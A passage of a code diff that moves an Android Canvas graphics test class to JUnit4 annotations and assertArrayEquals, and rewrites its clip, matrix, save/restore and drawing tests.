         float[] values4 = new float[FLOAT_ARRAY_LEN];
         Matrix m4 = mCanvas.getMatrix();
         m4.getValues(values4);
 
-        for (int i = 0; i < FLOAT_ARRAY_LEN; i++) {
-            assertEquals(values1[i], values4[i]);
-        }
+        assertArrayEquals(values1, values4, 0.0f);
 
-        // test save current clip only, don't know how to get clip saved,
-        // but can make sure Matrix can't be saved in this case
+        // test save current clip flag only: this should save matrix as well
         m1 = new Matrix();
         m1.setValues(values1);
         mCanvas.setMatrix(m1);
@@ -761,18 +766,14 @@
         m3 = mCanvas.getMatrix();
         m3.getValues(values3);
 
-        for (int i = 0; i < FLOAT_ARRAY_LEN; i++) {
-            assertEquals(values2[i], values3[i]);
-        }
+        assertArrayEquals(values2, values3, 0.0f);
 
         mCanvas.restore();
         values4 = new float[FLOAT_ARRAY_LEN];
         m4 = mCanvas.getMatrix();
         m4.getValues(values4);
 
-        for (int i = 0; i < FLOAT_ARRAY_LEN; i++) {
-            assertEquals(values2[i], values4[i]);
-        }
+        assertArrayEquals(values1, values4, 0.0f);
 
         // test save everything
         m1 = new Matrix();
@@ -788,20 +789,17 @@
         m3 = mCanvas.getMatrix();
         m3.getValues(values3);
 
-        for (int i = 0; i < FLOAT_ARRAY_LEN; i++) {
-            assertEquals(values2[i], values3[i]);
-        }
+        assertArrayEquals(values2, values3, 0.0f);
 
         mCanvas.restore();
         values4 = new float[FLOAT_ARRAY_LEN];
         m4 = mCanvas.getMatrix();
         m4.getValues(values4);
 
-        for (int i = 0; i < FLOAT_ARRAY_LEN; i++) {
-            assertEquals(values1[i], values4[i]);
-        }
+        assertArrayEquals(values1, values4, 0.0f);
     }
 
+    @Test
     public void testGetSaveCount() {
         // why is 1 not 0
         assertEquals(1, mCanvas.getSaveCount());
@@ -815,15 +813,32 @@
         assertEquals(5, mCanvas.getSaveCount());
     }
 
-    public void testRestoreToCount() {
-        // abnormal case: saveCount less than 1
+    @Test(expected=IllegalArgumentException.class)
+    public void testRestoreToCountIllegalSaveCount() {
+        // Should throw out IllegalArgumentException because saveCount is less than 1
+        mCanvas.restoreToCount(0);
+    }
+
+    @Test
+    public void testRestoreToCountExceptionBehavior() {
+        int restoreTo = mCanvas.save();
+        mCanvas.save();
+        int beforeCount = mCanvas.getSaveCount();
+
+        boolean exceptionObserved = false;
         try {
-            mCanvas.restoreToCount(0);
-            fail("should throw out IllegalArgumentException because saveCount is less than 1");
+            mCanvas.restoreToCount(restoreTo - 1);
         } catch (IllegalArgumentException e) {
-            // expected
+            exceptionObserved = true;
         }
 
+        // restore to count threw, AND did no restoring
+        assertTrue(exceptionObserved);
+        assertEquals(beforeCount, mCanvas.getSaveCount());
+    }
+
+    @Test
+    public void testRestoreToCount() {
         final Matrix m1 = new Matrix();
         m1.setValues(values1);
         mCanvas.setMatrix(m1);
@@ -838,20 +853,17 @@
         final Matrix m3 = mCanvas.getMatrix();
         m3.getValues(values3);
 
-        for (int i = 0; i < FLOAT_ARRAY_LEN; i++) {
-            assertEquals(values2[i], values3[i]);
-        }
+        assertArrayEquals(values2, values3, 0.0f);
 
         mCanvas.restoreToCount(count);
         final float[] values4 = new float[FLOAT_ARRAY_LEN];
         final Matrix m4 = mCanvas.getMatrix();
         m4.getValues(values4);
 
-        for (int i = 0; i < FLOAT_ARRAY_LEN; i++) {
-            assertEquals(values1[i], values4[i]);
-        }
+        assertArrayEquals(values1, values4, 0.0f);
     }
 
+    @Test
     public void testGetMatrix1() {
         final float[] f1 = {
                 1, 2, 3, 4, 5, 6, 7, 8, 9
@@ -868,11 +880,10 @@
         final float[] f2 = new float[FLOAT_ARRAY_LEN];
         m2.getValues(f2);
 
-        for (int i = 0; i < FLOAT_ARRAY_LEN; i++) {
-            assertEquals(f1[i], f2[i]);
-        }
+        assertArrayEquals(f1, f2, 0.0f);
     }
 
+    @Test
     public void testGetMatrix2() {
         final float[] f1 = {
                 1, 2, 3, 4, 5, 6, 7, 8, 9
@@ -888,11 +899,10 @@
         final float[] f2 = new float[FLOAT_ARRAY_LEN];
         m2.getValues(f2);
 
-        for (int i = 0; i < FLOAT_ARRAY_LEN; i++) {
-            assertEquals(f1[i], f2[i]);
-        }
+        assertArrayEquals(f1, f2, 0.0f);
     }
 
+    @Test
     public void testTranslate() {
         preCompare();
 
@@ -900,17 +910,12 @@
 
         final float[] values = new float[FLOAT_ARRAY_LEN];
         mCanvas.getMatrix().getValues(values);
-        assertEquals(1.0f, values[0]);
-        assertEquals(0.0f, values[1]);
-        assertEquals(0.1f, values[2]);
-        assertEquals(0.0f, values[3]);
-        assertEquals(1.0f, values[4]);
-        assertEquals(0.28f, values[5]);
-        assertEquals(0.0f, values[6]);
-        assertEquals(0.0f, values[7]);
-        assertEquals(1.0f, values[8]);
+        assertArrayEquals(new float[] {
+            1.0f, 0.0f, 0.1f, 0.0f, 1.0f, 0.28f, 0.0f, 0.0f, 1.0f
+        }, values, 0.0f);
     }
 
+    @Test
     public void testScale1() {
         preCompare();
 
@@ -918,17 +923,12 @@
 
         final float[] values = new float[FLOAT_ARRAY_LEN];
         mCanvas.getMatrix().getValues(values);
-        assertEquals(0.5f, values[0]);
-        assertEquals(0.0f, values[1]);
-        assertEquals(0.0f, values[2]);
-        assertEquals(0.0f, values[3]);
-        assertEquals(0.5f, values[4]);
-        assertEquals(0.0f, values[5]);
-        assertEquals(0.0f, values[6]);
-        assertEquals(0.0f, values[7]);
-        assertEquals(1.0f, values[8]);
+        assertArrayEquals(new float[] {
+                0.5f, 0.0f, 0.0f, 0.0f, 0.5f, 0.0f, 0.0f, 0.0f, 1.0f
+        }, values, 0.0f);
     }
 
+    @Test
     public void testScale2() {
         preCompare();
 
@@ -936,17 +936,12 @@
 
         final float[] values = new float[FLOAT_ARRAY_LEN];
         mCanvas.getMatrix().getValues(values);
-        assertEquals(3.0f, values[0]);
-        assertEquals(0.0f, values[1]);
-        assertEquals(-2.0f, values[2]);
-        assertEquals(0.0f, values[3]);
-        assertEquals(3.0f, values[4]);
-        assertEquals(-2.0f, values[5]);
-        assertEquals(0.0f, values[6]);
-        assertEquals(0.0f, values[7]);
-        assertEquals(1.0f, values[8]);
+        assertArrayEquals(new float[] {
+                3.0f, 0.0f, -2.0f, 0.0f, 3.0f, -2.0f, 0.0f, 0.0f, 1.0f
+        }, values, 0.0f);
     }
 
+    @Test
     public void testRotate1() {
         preCompare();
 
@@ -954,17 +949,12 @@
 
         final float[] values = new float[FLOAT_ARRAY_LEN];
         mCanvas.getMatrix().getValues(values);
-        assertEquals(0.0f, values[0]);
-        assertEquals(-1.0f, values[1]);
-        assertEquals(0.0f, values[2]);
-        assertEquals(1.0f, values[3]);
-        assertEquals(0.0f, values[4]);
-        assertEquals(0.0f, values[5]);
-        assertEquals(0.0f, values[6]);
-        assertEquals(0.0f, values[7]);
-        assertEquals(1.0f, values[8]);
+        assertArrayEquals(new float[] {
+                0.0f, -1.0f, 0.0f, 1.0f, 0.0f, 0.0f, 0.0f, 0.0f, 1.0f
+        }, values, 0.0f);
     }
 
+    @Test
     public void testRotate2() {
         preCompare();
 
@@ -972,17 +962,12 @@
 
         final float[] values = new float[FLOAT_ARRAY_LEN];
         mCanvas.getMatrix().getValues(values);
-        assertEquals(0.8660254f, values[0]);
-        assertEquals(-0.5f, values[1]);
-        assertEquals(0.13397461f, values[2]);
-        assertEquals(0.5f, values[3]);
-        assertEquals(0.8660254f, values[4]);
-        assertEquals(-0.5f, values[5]);
-        assertEquals(0.0f, values[6]);
-        assertEquals(0.0f, values[7]);
-        assertEquals(1.0f, values[8]);
+        assertArrayEquals(new float[] {
+                0.8660254f, -0.5f, 0.13397461f, 0.5f, 0.8660254f, -0.5f, 0.0f, 0.0f, 1.0f
+        }, values, 0.0f);
     }
 
+    @Test
     public void testSkew() {
         preCompare();
 
@@ -990,17 +975,12 @@
 
         final float[] values = new float[FLOAT_ARRAY_LEN];
         mCanvas.getMatrix().getValues(values);
-        assertEquals(1.0f, values[0]);
-        assertEquals(1.0f, values[1]);
-        assertEquals(0.0f, values[2]);
-        assertEquals(3.0f, values[3]);
-        assertEquals(1.0f, values[4]);
-        assertEquals(0.0f, values[5]);
-        assertEquals(0.0f, values[6]);
-        assertEquals(0.0f, values[7]);
-        assertEquals(1.0f, values[8]);
+        assertArrayEquals(new float[] {
+                1.0f, 1.0f, 0.0f, 3.0f, 1.0f, 0.0f, 0.0f, 0.0f, 1.0f
+        }, values, 0.0f);
     }
 
+    @Test
     public void testConcat() {
         preCompare();
 
@@ -1011,117 +991,188 @@
         mCanvas.concat(m);
 
         mCanvas.getMatrix().getValues(values);
-        assertEquals(0.0f, values[0]);
-        assertEquals(1.0f, values[1]);
-        assertEquals(2.0f, values[2]);
-        assertEquals(3.0f, values[3]);
-        assertEquals(4.0f, values[4]);
-        assertEquals(5.0f, values[5]);
-        assertEquals(6.0f, values[6]);
-        assertEquals(7.0f, values[7]);
-        assertEquals(8.0f, values[8]);
+        assertArrayEquals(new float[] {
+                0.0f, 1.0f, 2.0f, 3.0f, 4.0f, 5.0f, 6.0f, 7.0f, 8.0f
+        }, values, 0.0f);
     }
 
-    public void testClipRect1() {
-        assertFalse(mCanvas.clipRect(mRectF, Op.DIFFERENCE));
-        assertFalse(mCanvas.clipRect(mRectF, Op.INTERSECT));
-        assertTrue(mCanvas.clipRect(mRectF, Op.REPLACE));
-        assertFalse(mCanvas.clipRect(mRectF, Op.REVERSE_DIFFERENCE));
-        assertTrue(mCanvas.clipRect(mRectF, Op.UNION));
-        assertFalse(mCanvas.clipRect(mRectF, Op.XOR));
+    @Test
+    public void testClipRectF() {
+        // intersect with clip larger than canvas
+        assertTrue(mCanvas.clipRect(new RectF(0, 0, 10, 31), Op.INTERSECT));
+        // intersect with clip outside of canvas bounds
+        assertFalse(mCanvas.clipRect(new RectF(10, 31, 11, 32), Op.INTERSECT));
+        // replace with clip that is larger than canvas
+        assertTrue(mCanvas.clipRect(new RectF(0, 0, 10, 31), Op.REPLACE));
+        // intersect with clip that covers top portion of canvas
+        assertTrue(mCanvas.clipRect(new RectF(0, 0, 20, 10), Op.INTERSECT));
+        // intersect with clip that covers bottom portion of canvas
+        assertFalse(mCanvas.clipRect(new RectF(0, 10, 20, 32), Op.INTERSECT));
+        // ensure that difference doesn't widen already closed clip
+        assertFalse(mCanvas.clipRect(new RectF(0, 0, 10, 31), Op.DIFFERENCE));
     }
 
-    public void testClipRect2() {
-        assertFalse(mCanvas.clipRect(mRect, Op.DIFFERENCE));
-        assertFalse(mCanvas.clipRect(mRect, Op.INTERSECT));
-        assertTrue(mCanvas.clipRect(mRect, Op.REPLACE));
-        assertFalse(mCanvas.clipRect(mRect, Op.REVERSE_DIFFERENCE));
-        assertTrue(mCanvas.clipRect(mRect, Op.UNION));
-        assertFalse(mCanvas.clipRect(mRect, Op.XOR));
+    @Test
+    public void testClipRect() {
+        // intersect with clip larger than canvas
+        assertTrue(mCanvas.clipRect(new Rect(0, 0, 10, 31), Op.INTERSECT));
+        // intersect with clip outside of canvas bounds
+        assertFalse(mCanvas.clipRect(new Rect(10, 31, 11, 32), Op.INTERSECT));
+        // replace with clip that is larger than canvas
+        assertTrue(mCanvas.clipRect(new Rect(0, 0, 10, 31), Op.REPLACE));
+        // intersect with clip that covers top portion of canvas
+        assertTrue(mCanvas.clipRect(new Rect(0, 0, 20, 10), Op.INTERSECT));
+        // intersect with clip that covers bottom portion of canvas
+        assertFalse(mCanvas.clipRect(new Rect(0, 10, 20, 32), Op.INTERSECT));
+        // ensure that difference doesn't widen already closed clip
+        assertFalse(mCanvas.clipRect(new Rect(0, 0, 10, 31), Op.DIFFERENCE));
     }
 
-    public void testClipRect3() {
-        assertTrue(mCanvas.clipRect(mRectF));
-    }
-
-    public void testClipRect4() {
-        assertTrue(mCanvas.clipRect(mRect));
-    }
-
-    public void testClipRect5() {
-        assertFalse(mCanvas.clipRect(0, 0, 10, 31, Op.DIFFERENCE));
-        assertFalse(mCanvas.clipRect(0, 0, 10, 31, Op.INTERSECT));
+    @Test
+    public void testClipRect4I() {
+        // intersect with clip larger than canvas
+        assertTrue(mCanvas.clipRect(0, 0, 10, 31, Op.INTERSECT));
+        // intersect with clip outside of canvas bounds
+        assertFalse(mCanvas.clipRect(10, 31, 11, 32, Op.INTERSECT));
+        // replace with clip that is larger than canvas
         assertTrue(mCanvas.clipRect(0, 0, 10, 31, Op.REPLACE));
-        assertFalse(mCanvas.clipRect(0, 0, 10, 31, Op.REVERSE_DIFFERENCE));
-        assertTrue(mCanvas.clipRect(0, 0, 10, 31, Op.UNION));
-        assertFalse(mCanvas.clipRect(0, 0, 10, 31, Op.XOR));
+        // intersect with clip that covers top portion of canvas
+        assertTrue(mCanvas.clipRect(0, 0, 20, 10, Op.INTERSECT));
+        // intersect with clip that covers bottom portion of canvas
+        assertFalse(mCanvas.clipRect(0, 10, 20, 32, Op.INTERSECT));
+        // ensure that difference doesn't widen already closed clip
+        assertFalse(mCanvas.clipRect(0, 0, 10, 31, Op.DIFFERENCE));
     }
 
-    public void testClipRect6() {
-        assertTrue(mCanvas.clipRect(0.5f, 0.5f, 10.5f, 31.5f));
+    @Test
+    public void testClipRect4F() {
+        // intersect with clip larger than canvas
+        assertTrue(mCanvas.clipRect(0f, 0f, 10f, 31f, Op.INTERSECT));
+        // intersect with clip outside of canvas bounds
+        assertFalse(mCanvas.clipRect(10f, 31f, 11f, 32f, Op.INTERSECT));
+        // replace with clip that is larger than canvas
+        assertTrue(mCanvas.clipRect(0f, 0f, 10f, 31f, Op.REPLACE));
+        // intersect with clip that covers top portion of canvas
+        assertTrue(mCanvas.clipRect(0f, 0f, 20f, 10f, Op.INTERSECT));
+        // intersect with clip that covers bottom portion of canvas
+        assertFalse(mCanvas.clipRect(0f, 10f, 20f, 32f, Op.INTERSECT));
+        // ensure that difference doesn't widen already closed clip
+        assertFalse(mCanvas.clipRect(0f, 0f, 10f, 31f, Op.DIFFERENCE));
     }
 
-    public void testClipRect7() {
+    @Test
+    public void testClipOutRectF() {
+        // remove center, clip not empty
+        assertTrue(mCanvas.clipOutRect(new RectF(1, 1, 9, 27)));
+        // replace clip, verify difference doesn't widen
+        assertFalse(mCanvas.clipRect(new RectF(0, 0, 0, 0), Op.REPLACE));
+        assertFalse(mCanvas.clipOutRect(new RectF(0, 0, 100, 100)));
+    }
+
+    @Test
+    public void testClipOutRect() {
+        // remove center, clip not empty
+        assertTrue(mCanvas.clipOutRect(new Rect(1, 1, 9, 27)));
+        // replace clip, verify difference doesn't widen
+        assertFalse(mCanvas.clipRect(new Rect(0, 0, 0, 0), Op.REPLACE));
+        assertFalse(mCanvas.clipOutRect(new Rect(0, 0, 100, 100)));
+    }
+
+    @Test
+    public void testClipOutRect4I() {
+        // remove center, clip not empty
+        assertTrue(mCanvas.clipOutRect(1, 1, 9, 27));
+        // replace clip, verify difference doesn't widen
+        assertFalse(mCanvas.clipRect(0, 0, 0, 0, Op.REPLACE));
+        assertFalse(mCanvas.clipOutRect(0, 0, 100, 100));
+    }
+
+    @Test
+    public void testClipOutRect4F() {
+        // remove center, clip not empty
+        assertTrue(mCanvas.clipOutRect(1f, 1f, 9f, 27f));
+        // replace clip, verify difference doesn't widen
+        assertFalse(mCanvas.clipRect(0f, 0f, 0f, 0f, Op.REPLACE));
+        assertFalse(mCanvas.clipOutRect(0f, 0f, 100f, 100f));
+    }
+
+    @Test
+    public void testIntersectClipRectF() {
+        // intersect with clip larger than canvas
+        assertTrue(mCanvas.clipRect(new RectF(0, 0, 10, 31)));
+        // intersect with clip outside of canvas bounds
+        assertFalse(mCanvas.clipRect(new RectF(10, 31, 11, 32)));
+    }
+
+    @Test
+    public void testIntersectClipRect() {
+        // intersect with clip larger than canvas
+        assertTrue(mCanvas.clipRect(new Rect(0, 0, 10, 31)));
+        // intersect with clip outside of canvas bounds
+        assertFalse(mCanvas.clipRect(new Rect(10, 31, 11, 32)));
+    }
+
+    @Test
+    public void testIntersectClipRect4F() {
+        // intersect with clip larger than canvas
         assertTrue(mCanvas.clipRect(0, 0, 10, 31));
+        // intersect with clip outside of canvas bounds
+        assertFalse(mCanvas.clipRect(10, 31, 11, 32));
     }
 
+    @Test
     public void testClipPath1() {
         final Path p = new Path();
-        p.addRect(mRectF, Direction.CCW);
+        p.addRect(new RectF(0, 0, 10, 31), Direction.CCW);
         assertTrue(mCanvas.clipPath(p));
     }
 
+    @Test
     public void testClipPath2() {
         final Path p = new Path();
-        p.addRect(mRectF, Direction.CCW);
+        p.addRect(new RectF(0, 0, 10, 31), Direction.CW);
 
-        assertFalse(mCanvas.clipPath(p, Op.DIFFERENCE));
-        assertFalse(mCanvas.clipPath(p, Op.INTERSECT));
+        final Path pIn = new Path();
+        pIn.addOval(new RectF(0, 0, 20, 10), Direction.CW);
+
+        final Path pOut = new Path();
+        pOut.addRoundRect(new RectF(10, 31, 11, 32), 0.5f, 0.5f, Direction.CW);
+
+        // intersect with clip larger than canvas
+        assertTrue(mCanvas.clipPath(p, Op.INTERSECT));
+        // intersect with clip outside of canvas bounds
+        assertFalse(mCanvas.clipPath(pOut, Op.INTERSECT));
+        // replace with clip that is larger than canvas
         assertTrue(mCanvas.clipPath(p, Op.REPLACE));
-        assertFalse(mCanvas.clipPath(p, Op.REVERSE_DIFFERENCE));
-        assertTrue(mCanvas.clipPath(p, Op.UNION));
-        assertFalse(mCanvas.clipPath(p, Op.XOR));
+        // intersect with clip that covers top portion of canvas
+        assertTrue(mCanvas.clipPath(pIn, Op.INTERSECT));
+        // intersect with clip outside of canvas bounds
+        assertFalse(mCanvas.clipPath(pOut, Op.INTERSECT));
+        // ensure that difference doesn't widen already closed clip
+        assertFalse(mCanvas.clipPath(p, Op.DIFFERENCE));
     }
 
-    public void testClipRegion1() {
-        assertFalse(mCanvas.clipRegion(new Region(0, 10, 29, 0)));
+    @Test
+    public void testClipOutPath() {
+        final Path p = new Path();
+        p.addRect(new RectF(5, 5, 10, 10), Direction.CW);
+        assertTrue(mCanvas.clipOutPath(p));
     }
 
-    public void testClipRegion2() {
-        final Region r = new Region(0, 10, 29, 0);
+    @Test
+    public void testClipInversePath() {
+        final Path p = new Path();
+        p.addRoundRect(new RectF(0, 0, 10, 10), 0.5f, 0.5f, Direction.CW);
+        p.setFillType(Path.FillType.INVERSE_WINDING);
+        assertTrue(mCanvas.clipPath(p, Op.INTERSECT));
 
-        assertTrue(mCanvas.clipRegion(r, Op.DIFFERENCE));
-        assertFalse(mCanvas.clipRegion(r, Op.INTERSECT));
-        assertFalse(mCanvas.clipRegion(r, Op.REPLACE));
-        assertFalse(mCanvas.clipRegion(r, Op.REVERSE_DIFFERENCE));
-        assertFalse(mCanvas.clipRegion(r, Op.UNION));
-        assertFalse(mCanvas.clipRegion(r, Op.XOR));
+        mCanvas.drawColor(PAINT_COLOR);
+
+        assertEquals(Color.TRANSPARENT, mMutableBitmap.getPixel(0, 0));
+        assertEquals(PAINT_COLOR, mMutableBitmap.getPixel(0, 20));
     }
 
-    public void testClipRegion3() {
-        assertTrue(mCanvas.clipRegion(new Region(0, 0, 10, 10)));
-        final Rect clip = mCanvas.getClipBounds();
-        assertEquals(0, clip.left);
-        assertEquals(0, clip.top);
-        assertEquals(10, clip.right);
-        assertEquals(10, clip.bottom);
-    }
-
-    public void testClipRegion4() {
-        mCanvas.translate(10, 10);
-        mCanvas.scale(2, 2);
-
-        final Matrix beforeMatrix = mCanvas.getMatrix();
-        assertTrue(mCanvas.clipRegion(new Region(0, 0, 10, 10)));
-        assertEquals(beforeMatrix, mCanvas.getMatrix());
-
-        Rect clip = mCanvas.getClipBounds();
-        assertEquals(-5, clip.left);
-        assertEquals(-5, clip.top);
-        assertEquals(0, clip.right);
-        assertEquals(0, clip.bottom);
-    }
-
+    @Test
     public void testGetDrawFilter() {
         assertNull(mCanvas.getDrawFilter());
         final DrawFilter dF = new DrawFilter();
@@ -1130,24 +1181,28 @@
         assertTrue(dF.equals(mCanvas.getDrawFilter()));
     }
 
+    @Test
     public void testQuickReject1() {
-        assertFalse(mCanvas.quickReject(mRectF, EdgeType.AA));
-        assertFalse(mCanvas.quickReject(mRectF, EdgeType.BW));
+        assertFalse(mCanvas.quickReject(new RectF(0, 0, 10, 31), EdgeType.AA));
+        assertFalse(mCanvas.quickReject(new RectF(0, 0, 10, 31), EdgeType.BW));
     }
 
+    @Test
     public void testQuickReject2() {
         final Path p = new Path();
-        p.addRect(mRectF, Direction.CCW);
+        p.addRect(new RectF(0, 0, 10, 31), Direction.CCW);
 
         assertFalse(mCanvas.quickReject(p, EdgeType.AA));
         assertFalse(mCanvas.quickReject(p, EdgeType.BW));
     }
 
+    @Test
     public void testQuickReject3() {
         assertFalse(mCanvas.quickReject(0, 0, 10, 31, EdgeType.AA));
         assertFalse(mCanvas.quickReject(0, 0, 10, 31, EdgeType.BW));
     }
 
+    @Test
     public void testGetClipBounds1() {
         final Rect r = new Rect();
 
@@ -1156,6 +1211,7 @@
         assertEquals(BITMAP_HEIGHT, r.height());
     }
 
+    @Test
     public void testGetClipBounds2() {
         final Rect r = mCanvas.getClipBounds();
 
@@ -1163,12 +1219,13 @@
         assertEquals(BITMAP_HEIGHT, r.height());
     }
 
-    private void checkDrewColor(int color) {
+    private void verifyDrewColor(int color) {
         assertEquals(color, mMutableBitmap.getPixel(0, 0));
         assertEquals(color, mMutableBitmap.getPixel(BITMAP_WIDTH / 2, BITMAP_HEIGHT / 2));
         assertEquals(color, mMutableBitmap.getPixel(BITMAP_WIDTH - 1, BITMAP_HEIGHT - 1));
     }
 
+    @Test
     public void testDrawRGB() {
         final int alpha = 0xff;
         final int red = 0xff;
@@ -1178,9 +1235,10 @@
         mCanvas.drawRGB(red, green, blue);
 
         final int color = alpha << 24 | red << 16 | green << 8 | blue;
-        checkDrewColor(color);
+        verifyDrewColor(color);
     }
 
+    @Test
     public void testDrawARGB() {
         final int alpha = 0xff;
         final int red = 0x22;
@@ -1189,62 +1247,62 @@
 
         mCanvas.drawARGB(alpha, red, green, blue);
         final int color = alpha << 24 | red << 16 | green << 8 | blue;
-        checkDrewColor(color);
+        verifyDrewColor(color);
     }
 
+    @Test
     public void testDrawColor1() {
-        final int color = 0xffff0000;
+        final int color = Color.RED;
 
         mCanvas.drawColor(color);
-        checkDrewColor(color);
+        verifyDrewColor(color);
     }
 
+    @Test
     public void testDrawColor2() {
-        mCanvas.drawColor(0xffff0000, Mode.CLEAR);
-        mCanvas.drawColor(0xffff0000, Mode.DARKEN);
-        mCanvas.drawColor(0xffff0000, Mode.DST);
-        mCanvas.drawColor(0xffff0000, Mode.DST_ATOP);
-        mCanvas.drawColor(0xffff0000, Mode.DST_IN);
-        mCanvas.drawColor(0xffff0000, Mode.DST_OUT);
-        mCanvas.drawColor(0xffff0000, Mode.DST_OVER);
-        mCanvas.drawColor(0xffff0000, Mode.LIGHTEN);
-        mCanvas.drawColor(0xffff0000, Mode.MULTIPLY);
-        mCanvas.drawColor(0xffff0000, Mode.SCREEN);
-        mCanvas.drawColor(0xffff0000, Mode.SRC);
-        mCanvas.drawColor(0xffff0000, Mode.SRC_ATOP);
-        mCanvas.drawColor(0xffff0000, Mode.SRC_IN);
-        mCanvas.drawColor(0xffff0000, Mode.SRC_OUT);
-        mCanvas.drawColor(0xffff0000, Mode.SRC_OVER);
-        mCanvas.drawColor(0xffff0000, Mode.XOR);
+        mCanvas.drawColor(Color.RED, Mode.CLEAR);
+        mCanvas.drawColor(Color.RED, Mode.DARKEN);
+        mCanvas.drawColor(Color.RED, Mode.DST);
+        mCanvas.drawColor(Color.RED, Mode.DST_ATOP);
+        mCanvas.drawColor(Color.RED, Mode.DST_IN);
+        mCanvas.drawColor(Color.RED, Mode.DST_OUT);
+        mCanvas.drawColor(Color.RED, Mode.DST_OVER);
+        mCanvas.drawColor(Color.RED, Mode.LIGHTEN);
+        mCanvas.drawColor(Color.RED, Mode.MULTIPLY);
+        mCanvas.drawColor(Color.RED, Mode.SCREEN);
+        mCanvas.drawColor(Color.RED, Mode.SRC);
+        mCanvas.drawColor(Color.RED, Mode.SRC_ATOP);
+        mCanvas.drawColor(Color.RED, Mode.SRC_IN);
+        mCanvas.drawColor(Color.RED, Mode.SRC_OUT);
+        mCanvas.drawColor(Color.RED, Mode.SRC_OVER);
+        mCanvas.drawColor(Color.RED, Mode.XOR);
     }
 
+    @Test
     public void testDrawPaint() {
         mCanvas.drawPaint(mPaint);
 
         assertEquals(PAINT_COLOR, mMutableBitmap.getPixel(0, 0));
     }
 
+    @Test(expected=ArrayIndexOutOfBoundsException.class)
+    public void testDrawPointsInvalidOffset() {
+        // Should throw out ArrayIndexOutOfBoundsException because of invalid offset
+        mCanvas.drawPoints(new float[]{
+                10.0f, 29.0f
+        }, -1, 2, mPaint);
+    }
+
+    @Test(expected=ArrayIndexOutOfBoundsException.class)
+    public void testDrawPointsInvalidCount() {
+        // Should throw out ArrayIndexOutOfBoundsException because of invalid count
+        mCanvas.drawPoints(new float[]{
+                10.0f, 29.0f
+        }, 0, 31, mPaint);
+    }
+
+    @Test
     public void testDrawPoints1() {
-        // abnormal case: invalid offset
-        try {
-            mCanvas.drawPoints(new float[] {
-                    10.0f, 29.0f
-            }, -1, 2, mPaint);
-            fail("should throw out ArrayIndexOutOfBoundsException because of invalid offset");
-        } catch (ArrayIndexOutOfBoundsException e) {
-            // expected
-        }
-
-        // abnormal case: invalid count
-        try {
-            mCanvas.drawPoints(new float[] {
-                    10.0f, 29.0f
-            }, 0, 31, mPaint);
-            fail("should throw out ArrayIndexOutOfBoundsException because of invalid count");
-        } catch (ArrayIndexOutOfBoundsException e) {
-            // expected
-        }
-
         // normal case
         mCanvas.drawPoints(new float[] {
                 0, 0
@@ -1253,45 +1311,45 @@
         assertEquals(PAINT_COLOR, mMutableBitmap.getPixel(0, 0));
     }
 
+    @Test
     public void testDrawPoints2() {
         mCanvas.drawPoints(new float[]{0, 0}, mPaint);
 
         assertEquals(PAINT_COLOR, mMutableBitmap.getPixel(0, 0));
     }
 
+    @Test
     public void testDrawPoint() {
         mCanvas.drawPoint(0, 0, mPaint);
 
         assertEquals(PAINT_COLOR, mMutableBitmap.getPixel(0, 0));
     }
 
+    @Test
     public void testDrawLine() {
         mCanvas.drawLine(0, 0, 10, 12, mPaint);
 
         assertEquals(PAINT_COLOR, mMutableBitmap.getPixel(0, 0));
     }
 
+    @Test(expected=ArrayIndexOutOfBoundsException.class)
+    public void testDrawLinesInvalidOffset() {
+        // Should throw out ArrayIndexOutOfBoundsException because of invalid offset
+        mCanvas.drawLines(new float[]{
+                0, 0, 10, 31
+        }, 2, 4, new Paint());
+    }
+
+    @Test(expected=ArrayIndexOutOfBoundsException.class)
+    public void testDrawLinesInvalidCount() {
+        // Should throw out ArrayIndexOutOfBoundsException because of invalid count
+        mCanvas.drawLines(new float[]{
+                0, 0, 10, 31
+        }, 0, 8, new Paint());
+    }
+
+    @Test
     public void testDrawLines1() {
-        // abnormal case: invalid offset
-        try {
-            mCanvas.drawLines(new float[] {
-                    0, 0, 10, 31
-            }, 2, 4, new Paint());
-            fail("should throw out ArrayIndexOutOfBoundsException because of invalid offset");
-        } catch (ArrayIndexOutOfBoundsException e) {
-            // expected
-        }
-
-        // abnormal case: invalid count
-        try {
-            mCanvas.drawLines(new float[] {
-                    0, 0, 10, 31
-            }, 0, 8, new Paint());
-            fail("should throw out ArrayIndexOutOfBoundsException because of invalid count");
-        } catch (ArrayIndexOutOfBoundsException e) {
-            // expected
-        }
-
         // normal case
         mCanvas.drawLines(new float[] {
                 0, 0, 10, 12
@@ -1300,6 +1358,7 @@
         assertEquals(PAINT_COLOR, mMutableBitmap.getPixel(0, 0));
     }
 
+    @Test
     public void testDrawLines2() {
         mCanvas.drawLines(new float[] {
                 0, 0, 10, 12
@@ -1308,43 +1367,46 @@
         assertEquals(PAINT_COLOR, mMutableBitmap.getPixel(0, 0));
     }
 
-    private void checkDrewPaint() {
+    private void verifyDrewPaint() {
         assertEquals(PAINT_COLOR, mMutableBitmap.getPixel(0, 0));
         assertEquals(PAINT_COLOR, mMutableBitmap.getPixel(5, 6));
         assertEquals(PAINT_COLOR, mMutableBitmap.getPixel(9, 11));
     }
 
+    @Test
     public void testDrawRect1() {
         mCanvas.drawRect(new RectF(0, 0, 10, 12), mPaint);
 
-        checkDrewPaint();
+        verifyDrewPaint();
     }
 
+    @Test
     public void testDrawRect2() {
         mCanvas.drawRect(new Rect(0, 0, 10, 12), mPaint);
 
-        checkDrewPaint();
+        verifyDrewPaint();
     }
 
+    @Test
     public void testDrawRect3() {
         mCanvas.drawRect(0, 0, 10, 12, mPaint);
 
-        checkDrewPaint();
+        verifyDrewPaint();
     }
 
-    public void testDrawOval() {
-        // abnormal case: Oval is null
-        try {
-            mCanvas.drawOval(null, mPaint);
-            fail("should throw out NullPointerException because oval is null");
-        } catch (NullPointerException e) {
-            // expected
-        }
+    @Test(expected=NullPointerException.class)
+    public void testDrawOvalNull() {
+        // Should throw out NullPointerException because oval is null
+        mCanvas.drawOval(null, mPaint);
+    }
 
+    @Test
+    public void testDrawOval() {
         // normal case
         mCanvas.drawOval(new RectF(0, 0, 10, 12), mPaint);
     }
 
+    @Test
     public void testDrawCircle() {
         // special case: circle's radius <= 0
         mCanvas.drawCircle(10.0f, 10.0f, -1.0f, mPaint);
@@ -1355,132 +1417,119 @@
         assertEquals(PAINT_COLOR, mMutableBitmap.getPixel(9, 11));
     }
 
-    public void testDrawArc() {
-        // abnormal case: oval is null
-        try {
-            mCanvas.drawArc(null, 10.0f, 29.0f, true, mPaint);
-            fail("should throw NullPointerException because oval is null");
-        } catch (NullPointerException e) {
-            // expected
-        }
+    @Test(expected=NullPointerException.class)
+    public void testDrawArcNullOval() {
